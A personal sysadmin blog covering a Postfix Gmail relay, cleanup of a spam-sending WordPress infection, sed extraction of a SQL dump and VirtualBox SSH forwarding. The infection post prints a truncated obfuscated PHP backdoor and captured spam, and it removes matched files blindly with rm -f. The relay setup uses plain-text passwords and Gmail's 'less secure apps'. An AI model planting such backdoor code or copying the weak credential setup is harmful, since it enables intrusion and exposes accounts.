Configure Postfix to use Gmail as a Mail Relay

We all know that Gmail is popular these days, from personal usage to business heavy users. I myself use Gmail on daily basis, both for my personal email as well as at work.

My WordPress site recently got malware, and it kept creating script files as well as tried to send emails through my Postfix server, running on the same host as my blog.

Before this, I have never spent time to sit down and setup some scripts properly to monitor my host and website. Given the latest incidents I have with my host that the mail log filled up my disk space, due to endless attempts to send emails through my host and failed every time. Now I think I need to spend sometime get it setup properly so that I can monitor easily.

The first step is to setup my postfix server properly so that it can send emails to me for monitoring. This is important as I need to have a daily visual on server logs as well as cron job outputs. And I think the easiest way is to use Gmail as a Mail Relay, so that emails will go through Gmail from Postfix server on my host.

To do this, I have found a useful blog that detailed on the steps from HowtoForge website, I will put the steps here based on Ubuntu for self reference:

1. Install necessary packages:

sudo apt-get update && sudo apt-get install postfix mailutils

2. Configure Gmail Authentication

Create or modify a password file which will be used by Postfix to establish authentication with Gmail. In the authentication information below, replace username with your Gmail username and password with your Gmail password. If you are using a custom Gmail Apps domain name, you may replace gmail.com with your Google Apps domain.

The password file will reside in the Postfix configuration directory. The file can be named whatever you like, but the recommended filename is sasl_passwd.

a. Open file for edit:

vi /etc/postfix/sasl_passwd

b. Add the following line to above file:

[smtp.gmail.com]:587    username@gmail.com:password

c. And then make sure that the file is only readable by yourself:

chmod 600 /etc/postfix/sasl_passwd

3. Configure Postfix

Now, we need to configure Postfix by adding the following lines to its main configuration file. Open /etc/postfix/main.cf using your favourite editor and then add below content:

relayhost = [smtp.gmail.com]:587
smtp_use_tls = yes
smtp_sasl_auth_enable = yes
smtp_sasl_security_options =
smtp_sasl_password_maps = hash:/etc/postfix/sasl_passwd
smtp_tls_CAfile = /etc/ssl/certs/ca-certificates.crt

4. Process Password File

Use postmap to compile and hash the contents of sasl_passwd. The results will be stored in your Postfix configuration directory in the file sasl_passwd.db.

postmap /etc/postfix/sasl_passwd

5. Restart Postfix server, so that the configurations will take effect:

sudo systemctl restart postfix.service

6. Lastly, we need to Enable “Less Secure Apps” In Gmail

By default, only the most secure sign-ins, such as logging in to Gmail on the web, are allowed for your Gmail account. To permit relay requests, log in to your Gmail account and turn on Allow less secure apps (you will need to login first before you can turn on the setting).

For more information, please refer to “Allowing less secure apps to access your account.”

7. To confirm everything is working, run below command to test:

mail -s "Test subject" recipient@domain.com

If no emails, check log file under /var/log/mail.log to see what message reported from Postfix and fix accordingly.

Hope this can also help with anyone who lands on my blog.

WordPress Hacked To Send Spam Emails

My website has been under attack by spammer for a while, I am not sure when it started, but it has been a couple of months. Due to work and family, I have never got a chance to have a look for the cause and solution until now.

Basically what happened was that my postfix mail server kept sending tens of thousands of emails. And possibly due to this, my server has been blocked by Google and all those emails were rejected and got connect timeout to Gmail server, see below in the /var/log/syslog messages:

....
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8201]: connect to mx.vgs.untd.com[64.136.52.37]:25: Connection timed out
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8201]: BA77C42589: to=<randj152@netzero.com>, relay=none, delay=650, delays=589/0.08/61/0, dsn=4.4.1, status=deferred (connect to mx.vgs.untd.com[64.136.52.37
]:25: Connection timed out)
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[8202]: connect to mta7.am0.yahoodns.net[98.137.159.24]:25: Connection timed out
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[7735]: connect to mail20.voith.com[193.169.205.223]:25: Connection timed out
Jan  1 04:06:25 xx-xxx-xxx-xxx postfix/smtp[7735]: 12C75425D2: to=<gerald.franke@ditis.de>, relay=none, delay=449, delays=388/0/61/0, dsn=4.4.1, status=deferred (connect to mail20.voith.com[193.169.205.
223]:25: Connection timed out)
Jan  1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8200]: connect to smtpin01.mc.a.cloudfilter.net[52.204.45.50]:25: Connection timed out
Jan  1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8200]: A893942583: to=<garylmiller@mchsi.com>, relay=none, delay=650, delays=589/0.1/61/0, dsn=4.4.1, status=deferred (connect to smtpin01.mc.a.cloudfilter.ne
t[52.204.45.50]:25: Connection timed out)
Jan  1 04:06:26 xx-xxx-xxx-xxx postfix/smtp[8199]: connect to mx2.earthlink.net[209.86.93.227]:25: Connection timed out
Jan  1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8186]: connect to mail.thunderworx.net[217.27.32.193]:25: Connection timed out
Jan  1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8191]: connect to mx-b.ktk.de[82.115.96.243]:25: Connection timed out
Jan  1 04:06:27 xx-xxx-xxx-xxx postfix/smtp[8191]: D2322425C2: to=<carsten.leonhardt@rz-online.de>, relay=none, delay=451, delays=388/0.08/63/0, dsn=4.4.1, status=deferred (connect to mx-b.ktk.de[82.115
.96.243]:25: Connection timed out)
Jan  1 04:06:28 xx-xxx-xxx-xxx postfix/smtp[7767]: connect to cax.virusfree.cz[31.7.241.25]:25: Connection timed out
Jan  1 04:06:30 xx-xxx-xxx-xxx postfix/smtp[8198]: connect to rpi0i001.laposte.fr[178.213.67.9]:25: Connection timed out
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/smtp[8186]: C09304258C: to=<chrioannouresta@primehome.com>, relay=mail-mx100.thunderworx.net[217.27.32.90]:25, delay=660, delays=589/0.08/67/3.1, dsn=5.0.0, status
=bounced (host mail-mx100.thunderworx.net[217.27.32.90] said: 550-Verification failed for <jayden.w@blog.ericlin.me> 550-Called:   74.125.206.26 550-Sent:     RCPT TO:<jayden.w@blog.ericlin.me> 550-Respon
se: 550-5.1.1 The email account that you tried to reach does not exist. Please try 550-550-5.1.1 double-checking the recipient's email address for typos or 550-550-5.1.1 unnecessary spaces. Learn more at
550-550 5.1.1  https://support.google.com/mail/?p=NoSuchUser e193si20747180wmf.133 - gsmtp 550 Sender verify failed (in reply to RCPT TO command))
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/cleanup[8206]: C2889426F7: message-id=<20180101040635.C2889426F7@xx-xxx-xxx-xxx.ap-southeast-2.compute.internal>
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/bounce[8410]: C09304258C: sender non-delivery notification: C2889426F7
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/qmgr[4888]: C2889426F7: from=<>, size=5065, nrcpt=1 (queue active)
Jan  1 04:06:35 xx-xxx-xxx-xxx postfix/qmgr[4888]: C09304258C: removed
.......

I tried to search on Google and it turned out that my blog powered by WordPress was infected with malware and it keeps sending out emails. Google suggested that we can do a search based on function “base64_decode”, which is common function used by spammer’s scripts to do such jobs. So I did the search and it turned out that there were lots of such files under my WordPress installation directory:

ericlin@localhost: $ sudo grep -ri 'base64_decode' * | grep create_function
wp-admin/css/lfiendwt.php:	$_sxbiv = create_function ('$hyplio', sxbiv (base64_decode (
wp-admin/images/uczftagb.php:	$_ondxf = create_function ('$hkkcxn', ondxf (base64_decode (
wp-content/plugins/wp-connect/rbvphaub.php:	$_afchu = create_function ('$bbmmqr', afchu (base64_decode (
wp-content/plugins/googleanalytics/wrhnumao.php:	$_aparnlc = create_function ('$ezkeul', aparnlc (base64_decode (
wp-content/themes/alexandria/qkvejyid.php:	$_barsl = create_function ('$xwbnc', barsl (base64_decode (
wp-content/plugins/wp-connect/hzrttagh.php:	$_txkmjnd = create_function ('$rbeeug', txkmjnd (base64_decode (
wp-includes/rest-api/fields/aokjutfe.php:	$_barsl = create_function ('$xwbnc', barsl (base64_decode (
wp-includes/Requests/Exception/umbiwtox.php:	$_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/SimplePie/HTTP/ljwvhrtn.php:	$_hapmrsb = create_function ('$qujqu', hapmrsb (base64_decode (
wp-includes/rest-api/blimaumt.php:	$_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/Text/Diff/htzqhesw.php:	$_hapmrsb = create_function ('$qujqu', hapmrsb (base64_decode (
wp-includes/images/smilies/xraatxme.php:	$_sxbiv = create_function ('$hyplio', sxbiv (base64_decode (
wp-includes/Requests/Response/tlpeqczj.php:	$_mrbqv = create_function ('$rdscfs', mrbqv (base64_decode (
wp-includes/Requests/Cookie/dnwuvidm.php:	$_txkmjnd = create_function ('$rbeeug', txkmjnd (base64_decode (
wp-includes/SimplePie/Parse/rnylhylq.php:	$_dempkwj = create_function ('$dgeirfu', dempkwj (base64_decode (
wp-includes/SimplePie/XML/qmnfjezi.php:	$_esufzf = create_function ('$mcxgan', esufzf (base64_decode (
.......

The content of those files looks something like below:

<?php

        $majsvj =
                'cmQ9aXMtYXJyJzokb2RlIEVPJHZhJiYkXXswaWYoUkVBLlswSU5VZW5hQXJydWJsaXM'.
                'tcmV0aW9udCgkaHVuZW5zbiIpPmhlaG9zYXRjKCdTbXM7OGJpeVsxbGljYXJ0bGwsZW'.
                'QgJ3BjdW5kO2lmYW1lLDI1KCRhOV0pKCRwRXJyZywkPjpbcmlucmVwO31mLT52ZX19X'.
                'Xsxc2V7dGVjLT5EdGY4cm90MF0sPWV4Z2U7cGxhbWU9J1hPcigkbVJlYyAkdGlvKTsk'.
                'O31ycm4gLjAufWlmdGhpMSkkZ2ljTV9DdWJsb3N0Z25lWzBdcigpaWVucnJvNjF9fX1'.
                .......
                'pLG51JztwaW4sc2VsY29kPlxcMSkoaW5faXNwaztjb25ueV9waWMgbnVsaz0w';

        $_ondxf = create_function ('$hkkcxn', ondxf (base64_decode (
                'XUUCVBMZGBNODVpVTQdBTQFSSwdUBjldBFBcXAMZFRAfawhhfW4AVzc6BQByJiM0OXZ'.
                'qKzZwDVY1YgNyIW5gYX1iNXJxaldXJypmdHEkUQEsdk8zM2cOaDBlZl8CanNIfmFTen'.
                'h4ZXo2MF9eYzA2HSpxCVI0dyRBIHZlSwB+Y1RcdgtqZWFiZSwjU3B+ORkNKHZtOzdkN'.
                '2sFdkt6JWpeXFp2MXZ+fnFQNyVmf3gwBiQHdW0sIGBWVih0dmEzfFlLYnYIXHFjSGUs'.
                'NWJ3eCRRFgBifRY2elZjNntiVzBrZ3J+awt2aXhydjU2WHBlM1EzOXBQCQZzN04nZkR'.
                .......
                'xZcDF1UXFyZSo0XFlvMCQoAGZ6IzN0HmsidFRPMGtkcl1iUmJ8eEcHNTZYQnQwJzwsZ'.
                'lU4MGowTQJxAggyfGdqemdTS2N8ZVskJQRneSdQJClwbicHZFZeKHZEBVseHBQYFzx7'.
                'fHZ7eiNCb0JBEz4XBkNUAwFXTh5PFB8YQWYSFBgXPGt2a2Z2NDkTeWE1MTorfGs2RW9'.
                'PZEgaGg=='
        ), $_COOKIE [str_replace('.', '_', $_SERVER['HTTP_HOST'])]) . ';'); $_ondxf($hkkcxn);

        function ondxf ($fnjkaz, $gifntn) { return $fnjkaz ^ str_repeat ($gifntn, ceil (strlen ($fnjkaz) / strlen ($gifntn))); }

To fix the issue, I just needed to remove those files. I ran below command:

sudo grep -ri 'base64_decode' * | grep create_function | cut -d ":" -f 1 | xargs sudo rm -f

The file contents might be different, so it is best to scan through the files and check if there is any file with random names like the list I had above.

Once all the files are cleaned, I also needed to delete all the queues in the postfix so that the log files would not be kept flooded:

# Delete all queued mail
sudo postsuper -d ALL

# Delete differed mail queue messages - the ones the system intends to retry later
sudo postsuper -d ALL deferred

Then restart postfix server:

sudo service postfix restart

If for some reason the emails keep coming back, by using “mailq” to check:

mailq

-Queue ID-  --Size-- ----Arrival Time---- -Sender/Recipient-------
5C98D675BB*    1659 Mon Nov  6 02:31:30  info@arbeitsagentur.de
                                         cathrine.huth@t-online.de

401A1665FD*    1659 Wed Nov  8 03:01:37  info@arbeitsagentur.de
                                         horstauerbach@aol.com

702DD66A51*    1709 Tue Nov  7 01:56:54  jobs@arbeitsagentur.de
                                         d.ahmadyassin@yahoo.com

You will need to check the details of each email and see where is the source of the script that created the email:

postcat -vq 5C98D675BB

The output looks like below:

*** ENVELOPE RECORDS deferred/8/8FD2542696 ***
message_size:            1816             203               1               0            1816               0
message_arrival_time: Mon Jan  1 04:03:49 2018
create_time: Mon Jan  1 04:03:49 2018
named_attribute: rewrite_context=local
sender_fullname: www-data
sender: corazana.a@blog.ericlin.me
*** MESSAGE CONTENTS deferred/8/8FD2542696 ***
regular_text: Received: by xx-xxx-xxx-xxx.ap-southeast-2.compute.internal (Postfix, from userid 33)
regular_text:   id 8FD2542696; Mon,  1 Jan 2018 04:03:49 +0000 (UTC)
regular_text: To: jmprevenga@telefonica.net
regular_text: Subject: =?utf-8?Q?Quieres_pasar_la_Navidad_en_compa=C3=B1=C3=ADa_de_la_morena=3F?=
regular_text: X-PHP-Originating-Script: 33:rooguols.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code
regular_text: Date: Mon, 1 Jan 2018 04:03:49 +0000
regular_text: From: "Corazana A." <corazana.a@blog.ericlin.me>
regular_text: Message-ID: <f5cf2b20105dcc13231bd56f3d95f21e@blog.ericlin.me>
regular_text: X-Mailer: PHPMailer 5.2.23 (https://github.com/PHPMailer/PHPMailer)
regular_text: MIME-Version: 1.0
regular_text: Content-Type: multipart/alternative;
regular_text:   boundary="b1_f5cf2b20105dcc13231bd56f3d95f21e"
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text: This is a multi-part message in MIME format.
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e
regular_text: Content-Type: text/plain; charset=utf-8
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text: Conoceré con el chico para sexo.
regular_text:
regular_text: Está dispuesta a formar la compañía para la Navidad!
regular_text:
regular_text: Garantizo el sexo loco, me encanta hacer la mamada.
regular_text:
regular_text: { http://wayfordailylife.com/happen.php?utm_source=6900l7jut1&utm_medium=408exztblt&utm_campaign=gqb6rn8318&utm_term=9oign62f71&utm_content=yhlzo7pqn1 } Mi formulario está sólo aquí!
regular_text:
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e
regular_text: Content-Type: text/html; charset=utf-8
regular_text: Content-Transfer-Encoding: 8bit
regular_text:
regular_text: <html>
regular_text: <body>
regular_text: Conoceré con el chico para sexo.<br>
regular_text: <br>
regular_text: Está dispuesta a formar la compañía para la Navidad!<br>
regular_text: <br>
regular_text: Garantizo el sexo loco, me encanta hacer la mamada.<br>
regular_text: <br>
regular_text: <a href="http://wayfordailylife.com/happen.php?utm_source=6900l7jut1&utm_medium=408exztblt&utm_campaign=gqb6rn8318&utm_term=9oign62f71&utm_content=yhlzo7pqn1">Mi formulario está sólo aquí!</a><br>
regular_text: </body>
regular_text: </html>
regular_text:
regular_text:
regular_text:
regular_text: --b1_f5cf2b20105dcc13231bd56f3d95f21e--
regular_text:
*** HEADER EXTRACTED deferred/8/8FD2542696 ***
named_attribute: encoding=8bit
named_attribute: dsn_orig_rcpt=rfc822;jmprevenga@telefonica.net
original_recipient: jmprevenga@telefonica.net
recipient: jmprevenga@telefonica.net
*** MESSAGE FILE END deferred/8/8FD2542696 ***

Look for the following line:

regular_text: X-PHP-Originating-Script: 33:rooguols.php(1189) : runtime-created function(1) : eval()'d code(1) : eval()'d code

You can see that the email was generated by script rooguols.php. Search for this file in the WordPress directory and remove it. Repeat the process until all files are identified.

Watch the output of “mailq” to make sure that no emails will be generated again.

Hopefully this will also help with anyone who has the same issue as mine on WordPress blog server.

Extract Lines Between Two Patterns From A File

Yesterday, I was trying to restore one of my old blog sites that was written in Chinese, so that I can continue blogging. I had MySQL database backed up in a dumped SQL file, however, I noticed that I dumped all databases into one file, which stopped me from loading the full dump file into MySQL as there are other databases that I can’t just load them in, like “mysql” system database.

So my goal is simple, to extract this particular database out from the dump file.

Method 1:

Examining the dump file, I can see that they can be separated by the following lines:

-- Current Database: `db1`
-- Current Database: `db2`
-- Current Database: `db3`
-- Current Database: `db4`
-- Current Database: `db5`
-- Current Database: `db6`
....

Thanks to this thread on StackOverflow, the solution is simple, just run below command to extract all lines between “Current Database: `db4`” and “Current Database: `db5`“:

sed '/Current Database: `db4`/,/Current Database: `db5`/!d' dump.sql > db4.sql

What above command does is to search for lines “Current Database: `db4`” and “Current Database: `db5`“, and delete everything that is NOT between those two lines (!d means not matching then delete, “,” means between the lines).

Method 2

Firstly grep the pattern and print out the line numbers:

ubuntu@localhost:~/chenhui$ grep -n 'Current Database' dump.sql
19: -- Current Database: `db1`
382: -- Current Database: `db2`
744: -- Current Database: `db3`
1137: -- Current Database: `db4`
3401: -- Current Database: `db5`
5604: -- Current Database: `db6`
....

Then, use those line number to capture all lines in between:

sed -n 1137,3401p dump.sql > db4.sql

More information can be found from this blog post.

Hope above helps!!

Unable to send email from host machine to custom email address

I have my own personalised email address which is powered by Google Apps: ericlin at ericlin dot me. I have been receiving emails fine for many years without issues. However, since I setup my own blog server a few year ago, I had never be able to receive any email sent from my host machine via postfix.

I have tried many tests:

– email from cron job
– email from command line using “sendmail”
– email from wordpress

None of them were working. However, if I use normal gmail or ymail address, they all reached destination without issues.

The following were what was logged on my server under /var/log/syslog:

Jun 10 02:45:04 ericlin postfix/cleanup[12369]: 2601D43AC3: message-id=<0f5e23cef7e94f466eed4183e17476b0@www.ericlin.me>
Jun 10 02:45:04 ericlin postfix/qmgr[30415]: 2601D43AC3: from=<www-data@ericlin.me>, size=701, nrcpt=1 (queue active)
Jun 10 02:45:04 ericlin postfix/local[12375]: 2601D43AC3: to=<ericlin at ericlin dot me>, relay=local, delay=0.01, delays=0.01/0/0/0, dsn=2.0.0, status=sent (delivered to mailbox)
Jun 10 02:45:04 ericlin postfix/qmgr[30415]: 2601D43AC3: removed

the logs for working email was following:

Jun 10 03:09:07 ericlin postfix/cleanup[12672]: DED8843AC4: message-id=<ed4e377a0fd860e76a4853ae3063452b@www.ericlin.me>
Jun 10 03:09:07 ericlin postfix/qmgr[12614]: DED8843AC4: from=<www-data@ericlin.me>, size=5170, nrcpt=1 (queue active)
Jun 10 03:09:08 ericlin postfix/smtp[12674]: DED8843AC4: to=<someemail@gmail.com>, relay=smtp.gmail.com[74.125.29.109]:587, delay=0.74, delays=0.02/0.01/0.2/0.51, dsn=2.0.0, status=sent (250 2.0.0 OK 1465528180 18sm2559005qkd.30 - gsmtp)
Jun 10 03:09:08 ericlin postfix/qmgr[12614]: DED8843AC4: removed

You can see the differences between the two logs were the final message after status=sent, successful one was (250 2.0.0 OK 1465528180 18sm2559005qkd.30 – gsmtp), however, failed one was (delivered to mailbox)

I had been searching for a solution for a long time, but never be able to find a fix.

Today I spent another few hours trying to dig out if I can find anything, finally it is fixed.

The problem is the following line in the postfix’s configuration file /etc/postfix/main.cf, there is a line like below

mydestination = ericlin.me, ip-172-31-50-123.ec2.internal, localhost.ec2.internal, localhost

The problem is that I added my own domain (ericlin.me) to the list, which was wrong. After removing it, issue resolved!! ^_^.

I hope this can help someone with similar problems.

How to SSH into Centos in VirtualBox

Today I created a CentOS virtual machine in VirtualBox on my Mac for testing Hadoop purpose, however, I was not able to SSH into the newly created virtual machine, and SSH command returned timeout error:

$ ssh root@10.0.2.15
ssh: connect to host 10.0.2.15 port 22: Operation timed out

The output of “ip addr show” in the CentOS:

centos-ip-address

To fix the issue, I did the following:

1. Go to Devices > Network > Network Settings
2. Click on “Port Forwarding”
3. Then enter the details similar as below:

virtualbox-network-settings

I did not need to restart the VM, and I just ran the following SSH command from host, and issue resolved:

$ ssh -p 2222 root@127.0.0.1
The authenticity of host '[127.0.0.1]:2222 ([127.0.0.1]:2222)' can't be established.
ECDSA key fingerprint is SHA256:QWANQHt0hrV+l98si9RT1u5r0H9Q6A/GCe5jR+MQbHs.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '[127.0.0.1]:2222' (ECDSA) to the list of known hosts.
root@127.0.0.1's password:
Last failed login: Wed May 25 15:26:45 AEST 2016 from 10.0.2.2 on ssh:notty
There was 1 failed login attempt since the last successful login.
Last login: Wed May 25 15:22:16 2016 from localhost